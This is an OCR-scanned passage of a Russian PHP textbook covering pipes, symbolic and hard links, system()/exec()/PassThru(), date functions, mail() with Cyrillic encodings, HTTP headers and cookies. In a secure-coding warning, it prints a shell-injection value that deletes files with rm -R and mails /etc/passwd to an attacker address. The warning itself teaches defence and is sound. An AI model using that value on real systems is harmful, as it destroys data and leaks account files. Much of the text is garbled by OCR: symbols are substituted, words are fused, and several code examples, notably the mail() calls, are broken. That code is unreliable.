Хочу обратить ваше внимание на то, что канал нельзя открыть в режиме одновременного чтения и записи. Что послужило этому причиной? Ответ на поставленный вопрос в деталях занял бы слишком много места, чтобы поместиться в этой книге, но в двух словах можно сказать так: из-за буферизации ввода-вывода реально возникновение ситуации, когда процесс-родитель будет находиться в режиме ожидания данных от запущенного сына, а сын — будет ждать данные от родителя. Таким образом, возникает состояние взаимной блокировки: оба процесса оказываются приостановлены. В общем случае эта проблема неразрешима, если у нас нет полного контроля над кодом процесса-сына.

Далее в нашем примере происходит вот что. Стандартный вывод утилиты (тот, который по умолчанию всегда является просто выводом на экран — да простят меня поклонники Unix, но все-таки так будет проще объяснить, не разъясняя, что такое перенаправление ввода-вывода и какую роль оно играет в этой ОС) прикрепляется к идентификатору $fp. Теперь все, что печатает утилита (а в нашем случае она печатает содержимое каталога), может быть прочитано при помощи обычных вызовов файловых функций чтения — fgets () , fread () И Т. Д.

Профамма Is не ждет никакого ввода (однако в общем случае это далеко не всегда так), вот почему мы пользуемся только серией вызовов fgets () • После того, как "дело сделано", канал $fp, вообще говоря, нужно закрыть. Если он ранее был открыт в режиме записи, утилите "на том конце" передается, что ввод данных "с клавиатуры" завершен, и она может закончить свою работу.

Замечание )

В РНР не существует функций, которые могли бы открывать канал к дочернему процессу в режиме чтения и записи.

Теперь, когда мы разобрались с каналами, давайте посмотрим, что предлагает нам PHP для работы с символическими ссылками.

Символические ссылки

Для начала (для тех, кто не знает) — что это такое? В системе Unix (да и в других ОС в общем-то тоже) довольно часто возникает необходимость иметь для одного и того же файла или каталога разные имена. При этом логично одно из имен назвать основным, а все другие — его псевдонимами. В терминологии Unix такие псевдонимы называются символическими ссылками.

Символическая ссылка — это просто бинарный файл специального вида, который содержит ссылку на основной файл. При обращении к такому файлу (например, открытию его на чтение) система "соображает", к какому объекту на самом деле запрашивается доступ, и "прозрачно его обеспечивает. Это означает, что мы можем использовать символические ссылки точно так же, как и обычные файлы (в частности, работают fopen(), fread о и т. д.) Однако иногда нужно бывает работать со ссылкой именно как со ссылкой (простите за тавтологию), а не как с файлом. Для этого и существуют перечисленные ниже функции РНР.

string readlink(string Slinkname)

Возвращает имя основного файла, с которым связан его синоним Slinkname. Это бывает полезно, если вы хотите узнать основное имя файла, чтобы, например, удалить сам файл, а не ссылку на него. В случае ошибки функция возвращает значение "ложь".

bool symlink(string $target, string $link)

Эта функция создает символическую ссылку с именем Slink на объект (файл или каталог), заданную в $target. В случае "провала" функция возвращает false.

array Istat(string Sfilename)

Функция полностью аналогична вызову stat ( ) , за исключением того, что если 8filename задает не файл, а символическую ссылку, будет возвращена информация именно об этой ссылке (а не о файле, на который она указывает, как это делает stat () )•

int linkinfo(string Slinkname)

Функция возвращает значение поля "устройство" из результата, выдаваемого функцией Istat (), которую мы рассматривали выше. Ее обычно задействуют, если хотят определить, существует ли еще объект, на который указывает символическая ссылка в Slinkname. Я предпочитаю пользоваться для этого вызовом stat о , т. K., по-моему, ее название несколько более "читабельно".

Нужно добавить, что можно совершенно спокойно удалять символические ссылки, не опасаясь за содержимое основного файла. Это делается обычным СПОСОбоМ — например, ВЫЗОВОМ unlink О ИЛИ rmdir О -

Жесткие ссылки

И в конце этой главы я хочу рассмотреть еше один вид ссылок — жесткие ссылки. Оказывается, создание символической ссылки — не единственный способ задать для одного файла несколько имен. Главный недостаток символических ссылок, как вы, наверное, уже догадались, — существование основного имени файла, на которое все и ссылаются. Попробуйте удалить этот файл — и вся "паутина" ссылок, если таковая имелась, развалится на куски. Есть и другой недостаток: открытие файла, на который указывает ссылка, происходит несколько медленнее, т. к. системе нужно проанализировать содержимое ссылки и установить связь с "настоящим" файлом. Особенно это чувствуется, если одна ссылка указывает на другую, та — на третью и т. д. уровней на 10.

Жесткие ссылки позволяют вам иметь для одного файла несколько совершенно равноправных имен, причем доступ по ним осуществляется одинаково быстро. При этом, если одно из таких имен будет удалено (например, при помощи unlink о), то сам файл удалится только в том случае, если данное имя было последним, и других имен у файла нет. Сравните с символическими ссылками, удаляя которые файл испортить нельзя.

Зарегистрировать новое имя у файла (то есть создать для него жесткую ссылку) можно с помощью функции link(). Ее синтаксис полностью идентичен функции symlink() , да и работает она по тем же правилам, за исключением того, что создает не символическую, а жесткую ссылку. Фактически, вызов link о — это почти то же, что и rename о, только старое имя файла не удаляется, а остается.

i Замечание

Напоминаю, работает это все только в Unix, но не в Windows. И почему только до таких вещей не додумались парни из Microsoft?..

Запуск внешних программЗапуск внешних программГлава 18

Запуск внешних программ

Запуск внешних программ

Функции запуска внешних программ в РНР востребуются достаточно редко. Их "непопулярность" объясняется прежде всего тем, что при использовании РНР программист получает в свое распоряжение почти все возможности, которые могут когда-либо понадобиться, в частности, почтовые функции, на которые приходится львиная доля вызовов внешних программ в других языках — например, в Perl. Тем не менее, в числе стандартных функций языка присутствует полный набор средств, предназначенных для запуска программ и утилит операционной системы.

string system(string Scommand [,int& return_var])

Эта функция, как и ее аналог в Си, запускает внешнюю программу, имя которой передано первым параметром, и выводит результат работы программы в выходной поток, т. е. в браузер. Последнее обстоятельство сильно ограничивает область применения функции.

Замечание )

Впрочем, задействуя функции перенаправления вывода, мы все-таки можем получить и обработать то, что выдала нам запущенная программа, но стоит ли игра свеч? Может быть, лучше воспользоваться более подходящими средствами?

Если функции передан также второй параметр — переменная (именно переменная, а не константа!), то в нее помещается код возврата вызванного процесса. Ясно, что это требует от РНР ожидания завершения запущенной программы — так он и поступает в любом случае, даже если последний параметр не задан.

Внимание

Не нужно и говорить, что при помощи этой функции можно запускать только те команды, в которых вы абсолютно уверены. В частности, никогда не передавайте функции system о данные, пришедшие из браузера пользователя (предварительно не обработав их) — это может нанести серьезный урон вашему серверу, если злоумышленник запустит какую-нибудь разрушительную утилиту — например, rm -R которая быстро и "без лишних слов" очистит весь ваш каталог.

Как уже упоминалось, выходной поток данных программы направляется в браузер. Если вы хотите этого избежать, воспользуйтесь функциями popen () или exec () ■ Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы попали прямиком в браузер и никак при этом не исказились (например, вы вызываете программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в этом случае в самый раз будет функция PassThru().

string exec (string Scommand [, lists Sarray] [,ints $return_var])

Функция exec о, как и system(), запускает указанную программу или команду, однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого функция возвращает последнюю строку из выходного потока запущенной программы и, если задан параметр Sarray (который обязательно должен быть переменной), то он заполняется списком строк в выходном потоке — по одной строке на элемент.

(ЗамечаниеJ

Если массив уже содержал какие-то данные перед вызовом exec () , новые строки просто добавляются в его конец, а не заменяют старое содержимое массива. Учитывайте это в своих программах, иначе нетрудно получить очень нетривиальную ошибку.

Как и в функции system() , при задании параметра-переменной $return_var код возврата запущенного процесса будет помещен в эту переменную. Так что функция exec () тоже дожидается окончания работы нового процесса и только потом возвращает управление в РНР-программу.

string EscapeShellCmd(string Scommand)

Помните, мы говорили о том, что нельзя допускать возможности передачи данных из браузера пользователя (например, из формы) в функции system о и exec о? Если это все же нужно сделать, то данные должны быть соответствующим способом обработаны: например, можно защитить все специальные символы обратными слэшами, и т. д. Это и делает функция EscapeShellCmd о . Чаще всего ее применяют примерно в таком контексте:

system("cd ".EscapeShellCmd($to directory));

Здесь переменная $to_directory пришла от пользователя — например, из формы или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd (), написав следующий код:

system("cd $to_directory"); // Никогда так не делайте!

Задав такое значение для $to_directory:

~; rm -R *; sendmail hacker@domain.com </etc/passwd

разрушитель добьется своего разрушительного результата, а заодно и пошлет себе по почте файл /etc/passwd, который в Unix-системах содержит данные об именах и паролях пользователей.

string PassThru(string $command [,int& $return_var])

Эта функция запускает указанный в ее первом параметре процесс и весь его вывод направляет прямо в браузер пользователя, один-в-один. Она может пригодиться, если вы воспользовались какой-нибудь утилитой для генерации изображений "на лету", оформленной в виде отдельной программы (в РНР есть гораздо более мощные встроенные функции для работы с изображениями, которые работают быстрее, поэтому я не рекомендую вам применять PassThru о даже в подобных целях). Давайте рассмотрим пример использования этой функции:

Header("Content-type: image/jpeg");

PassThru("cat my_image.jpg");

Функция Header о, которую мы рассмотрим в другой главе, сообщает браузеру пользователя, что данные поступят в графическом формате JPEG, а последующий вызов утилиты cat с параметром — именем файла с рисунком - заставляет систему "распечатать" файл в браузер пользователя.

Глава 19

Работа сдатами и временем

В РНР присутствует полный набор средств, предназначенных для работы с датами и временем в различных форматах. Дополнительные модули (входящие в дистрибутив РНР) позволяют также работать с календарными функциями и календарями различных народов мира. Мы рассмотрим только самые популярные из этих функций.

Представление времени в формате timestamp

int time()

Возвращает время в секундах, прошедшее с полуночи 1 января 1970 года по Гринвичу до настоящего момента. Этот формат данных принят в Unix как стандартный: в частности, время последнего изменения файлов указывается именно в таком формате (как вы, возможно, помните по описанию функции file_mtime о). Вообще говоря, почти все функции по работе со временем имеют дело именно с таким его представлением (которое называется timestamp). To есть представление "количество секунд с 1 января 1970 года весьма универсально и, что главное, — удобно.

Примечание

На самом-то деле, timestamp не отражает реальное (астрономическое) число секунд с 1 января 1970 года, а немного отличается от него. Впрочем, это нисколько не умаляет преимущества от его использования.

string microtime()

Возвращает строку в формате: "микросекунды секунды", где секунды -- то, что возвращается функцией time о, а микросекунды — дробная часть секунд, служащая для более точного измерения промежутков времени. Эта функция работает только в системах, которые поддерживают системный вызов gettimeofday() , т. е. практически во всех.

( Замечание )

С функцией microtime () связано одно недоразумение. Дело в том, что миллисекунды в различных ОС выглядят по-разному. Например, в Unix это действительно число микросекунд, а в Windows — непонятное значение, связанное неизвестно с чем. Возможно, оно все же несет какой-то смысл, но мне до него "докопаться", увы, не удалось.

int mktime({int $hour] [,int $minute] [,int Ssecond] [,int $month] [,int Sday] [,int$year])

До сих пор мы рассматривали функции, которые преобразуют формат timestamp в представление, удобное для человека. Существует всего одна функция, которая проводит обратное преобразование — mktime о. Как мы видим, все ее параметры необязательны, но пропускать их можно, конечно же, только справа налево. Если какие-то параметры не заданы, на их место подставляются значения, соответствующие текущей дате. Функция возвращает значение timestamp, соответствующее указанной дате.

Правильность даты, переданной в параметрах, не проверяется. В случае некорректной даты ничего особенного не происходит — функция "делает вид", что это ее не касается, и формирует соответствующий timestamp. Для иллюстрации рассмотрим три вызова (два из них — с ошибочной датой), которые тем не менее возвращают один и тот же результат:

echo date("M-d-Y", mktime (0,0, 0, 1, 1, 1998) ) ;// правильная дата

echo date ("M-d-Y", mktime (0,0, 0, 12, 32, 1997) ) ; // неправильная дата

echo date("M-d-Y", mktime (0,0, 0, 13, 1, 1997) ); // неправильная дата

Легко убедиться, что выводятся три одинаковых числа.

Работа с датами

string date(string Sformat [, int $timestamp] )

Эта функция крайне полезна и весьма универсальна. Она возвращает строку, отформатированную в соответствии с параметром $ format и сформированную на основе параметра Stimestamp (если последний не задан — то на основе текущей даты). Строка формата может содержать обычный текст, перемежаемый одним или несколькими символами форматирования:

U — количество секунд, прошедших с полуночи 1 января 1970 года;

z — номер дня от начала года;

Y — год, 4 цифры;

у — год, 2 цифры;

F — название месяца, например, January;

Пm — номер месяца;

П м — название месяца, трехсимвольная аббревиатура, например, Jan;

□ d — номер дня в месяце, всегда 2 цифры (первая может быть 0);

П j — номер дня в месяце без предваряющего нуля;

П w — день недели, 0 соответствует воскресенью, 1 — понедельнику, и т. д.;

П 1 — день недели, текстовое полное название, например, Friday;

D — день недели, английское трехсимвольное сокращение, например, Fri;

a — am ИЛИ pm,

П А — AM или РМ;

Пh — часы, 12-часовой формат;

П н — часы, 24-часовой формат;

i — минуты;

П s — секунды;

П s — английский числовой суффикс (nd, th и т. д.).

Те символы, которые не были распознаны как форматирующие, подставляются в результирующую строку "как есть". Впрочем, не советую этим злоупотреблять, поскольку довольно мало английских слов не содержат ни одной из перечисленных выше букв.

Как видите, набор символов форматирования весьма и весьма богат. Вот пример применения функции date ()'

echo date("1 dS of F Y h:i:s A");

echo date("Сегодня d.m.Y");

echo date("Этот файл датирован d.m.Y",filectime("myfile"));

Остается еще отметить, что формат выдачи для таких символов, как F (название месяца), зависит от текущих настроек локали (см. функцию setlocale ()) и вполне может быть названием месяца на родном языке пользователя.

int checkdate(int $month, int Sday, int $year)

Эта функция проверяет, существует ли дата, переданная ей в параметрах: вначале ищется месяц, затем -- день, и, наконец, • год. Конкретнее, checkdate () проверяет следующее:

П год должен быть между 1900 и 32 767 включительно;

П месяц обязан принадлежать диапазону от 1 до 12;

число должно быть допустимым для указанного месяца и года (если год високосный).

Функция очень полезна, например, при автоматическом формировании HTML-календарика для указанного месяца и года. В самом деле, мы можем определить, какие числа в месяце "не существуют", и для них вместо номера проставить пустое место.

array getciate(int $timestamp)

Возвращает ассоциативный массив, содержащий данные об указанном времени. В массив будут помещены следующие ключи и значения:

seconds — секунды;

minutes — минуты;

hours — часы;

П mday — ЧИСЛО;

П wday — день недели, число;

П топ — номер месяца;

П year — год;

yday — номер дня с начала года;

weekday — полное название дня недели, например, Friday;

П month — полное название месяца, например, January.

В общем-то, всю эту информацию можно получить и с помощью функции date о , но тут разработчики РНР предоставляют нам альтернативный способ.

Григорианский календарь

Григорианский календарь — это как раз тот самый календарь, который мы постоянно используем в своей жизни. В России он был введен Петром I в 1700 году.

Описываемые далее три функции представляют большой интерес, если вам понадобится автоматически формировать календари в сценариях. Все они имеют дело с так называемым Julian Day Count (JDC). Что это такое?

Каждой датесоответствуетсвойJDC.Ведь,фактически,JDC—этовсего

лишь число дней, прошедших с определенной даты (кажется, где-то с 4714-го года до нашей эры).

Зачем это нужно? Например, нам заданы две даты в формате "дд.мм.гггг". Нужно вычислить количество дней между этими датами. Поставленная задача как раз легко решается через перевод обеих дат в JDC и определение разности получившихся величин.

int GregorianToJD(int $month, int $day, int $year)

Преобразует дату в формат JDC. Допустимые значения года для григорианского календаря — от 4714 года до нашей эры до 9999 года нашей эры.

string JDToGregorian(int $julianday)

Преобразует дату в формате JDC в строку, выглядящую как ме- сяц/число/год. Наверняка затем вы захотите разбить эту строку на состав- ляюшие, чтобы работать с ними по отдельности. Для этого воспользуйтесь функцией:

$jd = GregorianToJD(10,11,1970);

echo "$jd<br>\n";

Sgregorian =

echo "$gregorian<br>\n";

$list=explode(Sgregorian, "/") ;

mixed JDDayOfWeek(int Sjulianday, int Smode)

Последняя функция этой серии — JDDayOfWeekt) — тоже совершенно незаменима: она возвращает день недели, на который приходится указанная JDC-дата. Фактически, это единственное, чего нам не хватало бы для формирования календарика. Параметр Smode задает, в каком виде должен быть возвращен результат:

0 — номер дня недели (0 — воскресенье, 1 — понедельник, и т. д.);

1 — английское название дня недели;

2 — сокращение английского названия дня недели.

В РНР существует еще множество функций для работы с другими календарями — в том числе с Республиканским, Юлианским и т. д. Объем книги не позволяет привести здесь их описания.

Глава 20

Посылкаписем через РНР

Одно из самыхсредств РНР — возможность автоматической по

сылки писем по электронной почте, минуя использование внешних программ и утилит. Функция отсылки встроена в РНР. С нее мы и начнем.

Функция отправки письма

$to, stringstring

Функцияпосылает сообщение с телом(это может быть

"многострочная строка", т. е. переменная, содержащая несколько строк, разделенных символом перевода строки) по адресу $to. Можно задать сразу нескольких получателей, разделив их адреса пробелами в параметре $to. Пример: mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru,

•,

"Line3"

)

В случае, если указан четвертый параметр, переданная в нем строка вставляется между концом стандартных почтовых заголовков (таких как То, Content-type и т. д.) и началом текста письма. Обычно этот параметр используется для задания дополнительных заголовков письма. Пример:

mail ' "=№f0g4ardi ar . no dk@dizain.ru",

"the subject",

"Line2\nLine 3",

"From: — "Reply-То: webmaster@$SERVER_NAME\n".

.

Необходимо добавить, что этот пример довольно-таки неказист. Гораздо лучше было бы включить указанные заголовки прямо в тело письма(в нача

ло тела), отделив их от самого письма пустой строкой (прямо как в стандарте

HTTP). To же самое применимо и к параметру $subject: лучше задавать в нем всегда пустую строку и указывать заголовок subject в самом письме. Всегда старайтесь поступать таким образом. Далее будет ясно, зачем.

Проблемаскодировками

Думаю, не надо напоминать, что русских кодировок существует великое множество. Поэтому от того, насколько умело вы перекодируете письмо перед его отсылкой, зависит, прочтет ли его получатель или, махнув рукой, отправит в корзину, даже не попытавшись установить в своем почтовом клиенте нужную кодировку. Эта глава как раз и призвана раз и навсегда решить проблему кодировок. Если вы воспользуетесь советами, изложенными в ней, ваши письма всегда будут читаемыми.

Посылка в указанной кодировке

Сначала давайте договоримся об одном соглашении: функции mail о передавать только адрес получателя и текст письма. Ни заголовков, ни темы — и то и другое должно присутствовать в самом письме. Например:

$message=

"From: Лист рассылки

To: Иванов Иван Иванович

Subject: Пробная рассыпка

Content-type: text/plain; charset=windows-1825

Уважаемый товарищ! Это письмо послано почтовым роботом.

Всего хорошего!";

Mail("ivanovSivan.Ivanovich.ru", " ", $message) ;

Обратите внимание на заголовок content-type (в некоторых системах он обязательно должен стоять последним — проверьте это экспериментально). Он задает, что, во-первых, письмо доставляется как простой текст (text/plain), а во-вторых, что его кодировка — Windows. Теперь письмо всегда можно будет прочитать, даже если почтовая программа клиента по умолчанию настроена на китайскую кодировку.

Примечание

И почему некоторые программы так не делают, а посылают письма без указания их кодировки? Неужели им жалко лишнего десятка байтов для названия кодировки?

Обратите внимание на то, что тело письма отделяется от заголовков пустой строкой, с тем, чтобы почтовая программа могла понять, где кончаются заголовки и начинается тело.

Динамическая смена кодировки

Приведенное в предыдущем примере письмо можно будет прочитать в 90% существующих почтовых программ. Для "удовлетворения" остальных желательно посылать письма не в Windows-кодировке, а в K0I-8R. Для перекодирования можно воспользоваться уже известной нам функцией convert_cyr_string(). И, конечно, нужно в Content-type заменить charset на koi8-r. Вот что у нас получится:

$message=

"From: Лист рассылки

То: Иванов Иван Иванович <ivanov@ivan.Ivanovich.ru>

Subject: Пробная рассылка

Content-type: text/plain; charset=koi8-r

Уважаемый товарищ! Это письмо послано почтовым роботом.

Всего хорошего!";

$message=convert cyr_string (Sinessage, "w", "k") ;

Mail("ivanovgivan.Ivanovich.ru","",$message);

Теперь вы понимаете, почему я говорил о том, чтобы все заголовки и Subject находились внутри тела письма? Этим мы достигаем того, что одной командой convert_cyr_string о перекодируется сразу все письмо, включая поля From, TO, subject и др. Иначе пришлось бы применять эту функцию дополнительно для перекодировки параметров $ subject и $headers...

Проблемасзаголовками

Есть одна проблема, возникающая при подобном использовании заголовка Content-type. Дело в том, что существуют почтовые программы, которые понимают заголовок content-type, но не понимают русский текст в поле subject, если это поле стоит до content-type. В то же время, другие почтовые клиенты обязывают нас задавать content-type последним заголовком в списке. Чтобы обойти этот заколдованный круг, проще всего разместить поле content-type сразу в двух местах — перед первым и после последнего заголовка:

$message=

"Content-type: text/plain; charset=koi8-r

From: Лист рассылки

To: Иванов Иван Иванович <ivanov@ivan.Ivanovich.ru>

Subject: Пробная рассылка

Content-type: text/plain; charset=koi8-r

Уважаемый товарищ! Это письмо послано почтовым роботом.

Всего хорошего!";

$message=convert_cyr_string($message,"w", "к");

Mail("ivanov@ivan.ivanovich.ru","",Smessage);

Да, это может показаться весьма искусственным приемом, но зато работает "на ура". Теперь вы можете быть уверены, что ваше письмо прочитает любой пользователь (особенно если оно послано в кодировке KOI8), даже если его почтовая программа вообще не настроена ни на какую кодировку. Можете похвастать этим достижением перед начальством, предложив ему поставить у себя в Outlook Express по умолчанию японскую кодировку, а затем попросив принять письмо, сгенерированное роботом по указанной схеме.

Перспективы: создание "умной" функции для отправки писем

Возможно, вам уже пришла в голову идея сделать универсальную функцию для рассылки писем — чтобы она сама добавляла к полю то в письме E-mail в угловых скобках (как в примере выше), проставляла нужную кодировку у письма (которая задается в параметрах при вызове функции), ну и т. д. Это вполне осуществимо. Функция может выглядеть, например, так:

bool PostMail(string $ToAddress, string $Encode, string $Message)

Посылает письмо $Message по адресу $ToAddress, перекодировав его предварительно в кодировку, заданную в $Encode. Параметр $Encode может принимать следующие значения:

□ w — Windows

□ k-KOI8-R

□ m — Mac

О i — Iso Latin

□t — Translit

В письме автоматически проставляется Content-type. . .charset (если заголовок content-type уже присутствует в письме, то он не портится, а просто у него меняется поле charset на нужное значение). Также корректируется поле то в письме. Одновременно правильно обрабатываются вставки PHP- кода в тело письма (можно использовать глобальные переменные и оператор echo). Для этого, как обычно, применяются "скобки" <? и ?>.

Реализацию поставленной задачи мы отложим до части У, где описаны и другие приемы, облегчающие работу на РНР. Для этого нам понадобится техника регулярных выражений, которыми мы вскоре займемся, а также еще некоторые навыки. Если вы уже сейчас хотите использовать функцию PostMail о, можете сразу открыть часть V книги и скопировать оттуда ее исходный код на РНР.

Глава 21Работа с WWWГлава 21Работа с WWW

Глава 21

Работа с WWW

Глава 21

Работа с WWW

Мы уже рассматривали основы протокола HTTP в части I книги. Оператор echo, предназначенный для вывода данных в браузер, нам также хорошо знаком. Теперь осталось лишь разобрать, какие средства предусмотрены в РНР для работы с заголовками HTTP.

Установка заголовков ответа

Первая функция, которую мы сейчас рассмотрим, — Header о — предназначена для посылки заголовка браузеру (точнее, для добавления заголовка к документу, пересылаемому браузеру). Она может быть вызвана только до первой команды вывода сценария (конечно, если вы до этого не воспользовались функцией буферизации ob_start о).

Вывод заголовка

int Header(string Sstring)

Обычно функция Header о является одной из первых команд сценария. Она предназначена для установки заголовков ответа, которые будут переданы браузеру - по одному заголовку на вызов. Не забывайте, что вызов Header о обязательно должен осуществляться до любого оператора вывода в сценарии — в противном случае вы получите предупреждение. Заметьте, что текст вне <? и ?> также рассматривается как оператор вывода, а потому старайтесь не делать лишних пробелов до первой "скобки" <? в сценарии (и в особенности в файле, который этим сценарием включается) и, конечно, после последнего ограничителя ?> во включаемом файле. Впрочем, вы сможете легко обнаружить подобную ошибку, если выставите уровень контроля ошибок, равный 15 (1+2+4+8) — в этом случае при недопустимом вызове Header о вы получите предупреждение. Пример:

// перенаправляет браузер на сайт РНР

Header("Location: http://www.php.net");

// теперь принудительно завершаем сценарий, ввиду того, что после // перенаправления больше делать нечего

exit;

Запрет кэширования

Еще одно полезное приложение функции Header о -- запрет кэширования документа браузером и Proxy-серверами. Большинство сценариев формируют документы, которые при каждом запуске программы изменяются. Очевидно, если браузер пользователя начнет кэшировать такие документы, ничего хорошего не получится. Выход -- использовать в начале сценария следующие команды:

Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");// Дата в прошлом

Header("Cache-Control: no-cache, must-revalidate");// HTTP/1.1

Header("Pragma: no-cache");// HTTP/1.0

Header("Last-Modified: ".omdate("D, dMY H:i:s")."GMT");

Самое неприятное то, что для полного запрета кэширования приходится всегда посылать 4 указанных заголовка, и ни один пропустить нельзя — в противном случае не сработает либо браузер, либо Proxy-сервер. Так что рекомендую оформить их все в виде функции (например, с именем NoCache 0) и затем вызывать эту функцию в нужный момент.

Получение заголовков запроса

Для получения всех заголовков запроса (того самого запроса, что вынудил запуститься сценарий) следует воспользоваться функцией GetAllHeaders о :

array GetAllHeaders()

Функция GetAllHeaders о возвращает ассоциативный массив, содержащий данные о HTTP-заголовках запроса клиента, породившего запуск сценария.

Ключи массива содержат названия заголовков, а значения — их величины.

Вот пример использования этой функции:

$headers = GetAllHeaders();

foreach(Sheaders as $header=>$value)

echo "Sheader: $value<br>\n";

Внимание

Функция GetAllHeaders () поддерживается РНР только в том случае, если он установлен в виде модуля Apache. В противном случае этой функции просто не будет (да и не может быть, потому что обычный CGI-сценарий не имеет доступа к заголовкам запроса). В частности, в РНР для Windows (который чаще всего реализуют именно в виде сценария) функция GetAllHeaders () недоступна.

Не стоит увлекаться вызовами GetAllHeaders о: часто интересующую информацию (такую, например, как название браузера) можно получить и че-

рез переменные окружения. Последний способ гораздо более переносим, поэтому всеми силами старайтесь предпочесть его.

Работа с Cookies

Я не буду здесь особо вдаваться в подробности работы с Cookies (хотя, положа руку на сердце, вдаваться тут особо не во что), тем более, что этот материал мы с вами уже рассматривали в части I книги. Повторю лишь основное.

Немного теории

Итак, Cookie — это именованная порция (довольно небольшая) информации, которая может сохраняться прямо в настройках браузера пользователя между сеансами. Причина, по которой применяются Cookies — большое количество посетителей вашего сервера, а также нежелание иметь нечто подобное базе данных для хранения информации о каждом посетителе. Поиск в такой базе может очень и очень затянуться (например, при цифре миллион гостей в день он будет отнимать львиную долю времени), и, в то же время, нет никакого смысла централизованно хранить столь отрывочные сведения. Использование Cookies фактически перекладывает задачу на плечи браузера, решая одним махом как проблему быстродействия, так и проблему большого объема базы данных с информацией о пользователе.

Самый распространенный пример применения Cookies — логин и пароль пользователя, испол ьзуюшего некоторые защищенные ресурсы вашего сайта. Эти данные, конечно же, между открытиями страниц хранятся в Cookies, для того чтобы пользователю не пришлось их каждый раз набирать вручную заново.

У каждого Cookie есть определенное время жизни, по истечение которого он автоматически уничтожается. Существуют также Cookies, которые "живут" только в течение текущего сеанса работы с браузером (это могут быть, например, имя и пароль, введенные при авторизации), или же идентификатор сессии (см. главу 25).

Каждый Cookie устанавливается сценарием на сервере. Для этого он должен послать браузеру специальный заголовок вида:

Set-cookie: данные

Однако в РНР этот процесс скрыт за функцией setcookie (), которую мы сейчас рассмотрим, так что нам нет смысла вдаваться в детали.

Пожалуй, из теории осталось только добавить, что сценарии с других серверов, а также расположенные в другом каталоге, не будут извещены о "чужих" Cookies. Для них их как словно и нет. И это правильно с точки зрения

безопасности — кто знает, насколько секретна может быть информация, сохраненная в Cookies? А вдруг там хранится номер кредитной карточки или пароль доступа к Пентагону?..

Установка Cookie

Перейдем теперь к тому, как устанавливать Cookies. Так как Cookie фактически представляет собой обычный заголовок, сделать это можно только перед первой командой вывода в сценарии.

int setcookie(string $name [,string $value] [,int $expire]

[,string $path] [,string Sdomain] [,book $secure])

Вызов setcookie () определяет новый Cookie, который тут же посылается браузеру вместе с остальными заголовками. Все аргументы, кроме имени, необязательны. Если задан только параметр $name (имя Cookie), то Cookie с указанным именем у пользователя удаляется. Вы можете пропускать аргументы, которые не хотите задавать, пустыми строкамиАргументы

Sexpire и $secure, как мы видим, не могут быть представлены строками, а потому вместо пустых строк здесь нужно использовать 0. Параметр $expire задает timestamp, который, например, может быть сформирован функциями time о или raktimef). Параметр $secure говорит о том, что величина Cookie может передаваться только через безопасное HTTPS-соединение (мы не будем рассматривать в этой книге HTTPS, о нем можно написать целые тома, что, вообще говоря, и делается). Вот несколько примеров использования SetCookie()".

// Cookie на одну сессию, т. е. до закрытия браузера SetCookie("TestCookie","Test Value");

// Эти Cookies уничтожаются браузером через 1 час после установки SetCookie("TestCookie",$val,time0+3600);

SetCookie("TestCookie",$val,time 0+3600,"/-rasmus/", ".utoronto.ca",1);

После вызова функции setcookie о только что созданный Cookie сразу появляется среди глобальных переменных как переменная с заданным в параметре $name именем. Она появится и при следующем запуске сценария - даже если setcookie о в нем и не будет вызвана. Параметр Svalue автоматически URL-кодируется при посылке на сервер, а при получении Cookie - автоматически декодируется, как это происходит и с данными формы, так что нам не нужно об этом заботиться.

И еще один пример: счетчик посещения страницы конкретным посетителем. Запуская данный сценарий, пользователь будет видеть, сколько раз он уже гостил на вашей странице.

Листинг 21.1. Индивидуальный счетчик посещений •л

if(!isSet(SCounter)) $Counter=0;

$Counter++;

SetCookie("Counter",$Counter,0x7FFFFFFF);

echo "Вы запустили этот сценарий $Counter раз!";

Видите, как просто мы храним информацию о посещениях, даже если наш сайт посещают миллионы человек в день? А теперь представьте себе, какой код пришлось бы написать, чтобы сделать аналогичную программу, но с сохранением данных на сервере...

Возможно, вам понадобится сохранять в Cookies не только строки, но и сложные объекты. Для этой цели объект нужно сначала преобразовать в строку (например, при помощи Serialize о) и поместить ее в Cookie. А потом, наоборот, распаковать строку, используя Unserialize().

Однако, если сохраняемый массив имеет небольшой размер, каждый его элемент можно разместить в отдельном Cookie:

;

SetCookie("Arr[1]","bbb");

SetCookie("Arr[2][0]","ccc"); // многомерный массив

По сути, Cookie с именем Arr[0] ничем не отличается с точки зрения браузера и сервера от обычного Cookie. Зато РНР, получив Cookie с именем, содержащим квадратные скобки, поймет, что это на самом деле элемент массива, и создаст его (массив). Тут нет ничего удивительного — ведь РНР поступает точно так же и с переменными, поступившими из формы пользователя... Правда, в отличие от форм, не советую вам особо увлекаться подобными Cookies: дело в том, что в большинстве браузеров число Cookies, которые могут быть установлены одним сервером, ограничено, причем ограничено именно их количество, а не суммарный объем. Поэтому, наверное, лучше будет все-таки воспользоваться функцией serialize о и установить один Cookie, а еще лучше — написать собственную функцию сериализации, которая упаковывает данные чуть эффективнее.

Получение Cookie

Еще кое-что о Cookies. Предположим, сценарий отработал и установил какой-то Cookie, например, с именем cook и значением Vai. В следующий раз при запуске этого сценария (на самом деле, и всех других сценариев, расположенных на том же сервере в том же каталоге или ниже по дереву) ему передастся пара типа Cook=val (через специальную переменную окружения). РНР это событие перехватит и автоматически создаст переменную $cook со

значением Vai. To есть интерпретатор действует точно так же, как если бы значение нашего Cookie пришло откуда-то из формы. Та переменная, которую мы установили в прошлый раз, будет доступна и сейчас!

SSI и функция virtualO

Как известно, для одного и того же документа в Apache нельзя применять два "обработчика". Иными словами, действует принцип (по крайней мере, в Apache первого поколения): либо РНР, либо SSI (Server-Side Includes - Включения на стороне сервера). Однако в РНР имеются определенные средства для "эмуляции" SSI-конструкции include virtual.

Примечание

Конструкция include virtual загружает файл, URL которого указан у нее в параметрах, обрабатывает его нужным обработчиком и выводит в браузер. То есть все происходит так, будто указанный URL был затребован виртуальным браузером. Большинство SSI-файлов ограничиваются использованием этой возможности.

int virtual (string $url)

Функция virtual о представляет собой процедуру, которая может поддерживаться только в случае, если РНР установлен как модуль Apache. Она делает то же самое, что и SSI-инструкция < !-~#include virtual=. ..-->. Иными словами, она генерирует новый запрос серверу, обрабатываемый им обычным образом, а затем выводит данные в стандартный поток вывода.

